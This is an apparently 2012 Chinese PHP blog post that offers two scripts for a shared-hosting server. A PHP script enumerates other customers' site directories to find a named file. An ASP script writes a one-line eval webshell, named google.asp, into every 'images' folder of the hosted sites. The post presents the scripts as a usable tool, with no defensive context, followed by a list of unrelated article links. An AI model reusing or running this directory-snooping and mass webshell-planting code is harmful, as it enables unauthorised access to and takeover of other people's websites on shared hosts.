php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
关于PHP中操作MySQL数据库的一些要注意的问题
Oct 09 PHP
建立动态的WML站点(二)
Oct 09 PHP
Zend Studio for Eclipse的java.lang.NullPointerException错误的解决方法
Dec 06 PHP
php守护进程 加linux命令nohup实现任务每秒执行一次
Jul 04 PHP
谈谈关于php的优点与缺点
Apr 11 PHP
CodeIgniter错误mysql_connect(): No such file or directory解决方法
Sep 06 PHP
PHP中使用Imagick实现各种图片效果实例
Jan 21 PHP
WordPress中注册菜单与调用菜单的方法详解
Dec 18 PHP
利用PHP绘图函数实现简单验证码功能的方法
Oct 18 PHP
PHP使用ActiveMQ实例
Feb 05 PHP
PHP面向对象五大原则之开放-封闭原则(OCP)详解
Apr 04 PHP
Yii框架中用response保存cookie,用request读取cookie的原理解析
Sep 04 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
复杂检索数据并分页显示的处理方法
2006/10/09 PHP
PHP中将ip地址转成十进制数的两种实用方法
2013/08/15 PHP
PHP网络操作函数汇总
2015/05/18 PHP
PHP实现驼峰样式字符串(首字母大写)转换成下划线样式字符串的方法示例
2017/08/10 PHP
PHP addcslashes()函数讲解
2019/02/03 PHP
TP5.0框架实现无限极回复功能的方法分析
2019/05/04 PHP
动态修改DOM 里面的 id 属性的弊端分析
2008/09/03 Javascript
Dojo 学习笔记入门篇 First Dojo Example
2009/11/15 Javascript
js 实现复制到粘贴板的功能代码
2010/05/13 Javascript
Jquery的hover方法让鼠标经过li时背景变色
2013/09/06 Javascript
JS中的异常处理方法分享
2013/12/22 Javascript
JavaScript中具名函数的多种调用方式总结
2014/11/08 Javascript
javacript使用break内层跳出外层循环分析
2015/01/12 Javascript
JavaScript 学习笔记之操作符
2015/01/14 Javascript
javascript 小数乘法结果错误的处理方法
2016/07/28 Javascript
JS变量中有var定义和无var定义的区别以及es6中let命令和const命令
2017/02/19 Javascript
使用jquery datatable和bootsrap创建表格实例代码
2017/03/17 Javascript
完美解决UI-Grid表格元素中多个空格显示为一个空格的问题
2017/04/25 Javascript
简单实现js进度条加载效果
2020/03/25 Javascript
vue this.reload 方法 配置
2018/09/12 Javascript
js删除对象/数组中null、undefined、空对象及空数组方法示例
2018/11/14 Javascript
在layui中select更改后生效的方法
2019/09/05 Javascript
[01:59]DOTA2首部纪录片《Free to play》预告片
2014/03/12 DOTA
[00:17]DOTA2荣耀之路5:It’s a disastah!
2018/05/28 DOTA
浅谈Django中的QueryDict元素为数组的坑
2020/03/31 Python
Python 实现一行输入多个数字(用空格隔开)
2020/04/29 Python
使用python matploblib库绘制准确率,损失率折线图
2020/06/16 Python
THE OUTNET美国官网:国际设计师品牌折扣网站
2017/03/07 全球购物
韩国演唱会订票网站:StubHub韩国
2019/01/17 全球购物
八皇后问题,输出了所有情况,不过有些结果只是旋转了90度
2016/08/15 面试题
在weblogic中发布ejb需涉及到哪些配置文件
2012/01/17 面试题
2014学雷锋活动总结
2014/03/09 职场文书
讲党性心得体会
2014/09/03 职场文书
群众路线查摆问题整改措施
2014/10/10 职场文书
python opencv旋转图片的使用方法
2021/06/04 Python
Python使用BeautifulSoup4修改网页内容
2022/05/20 Python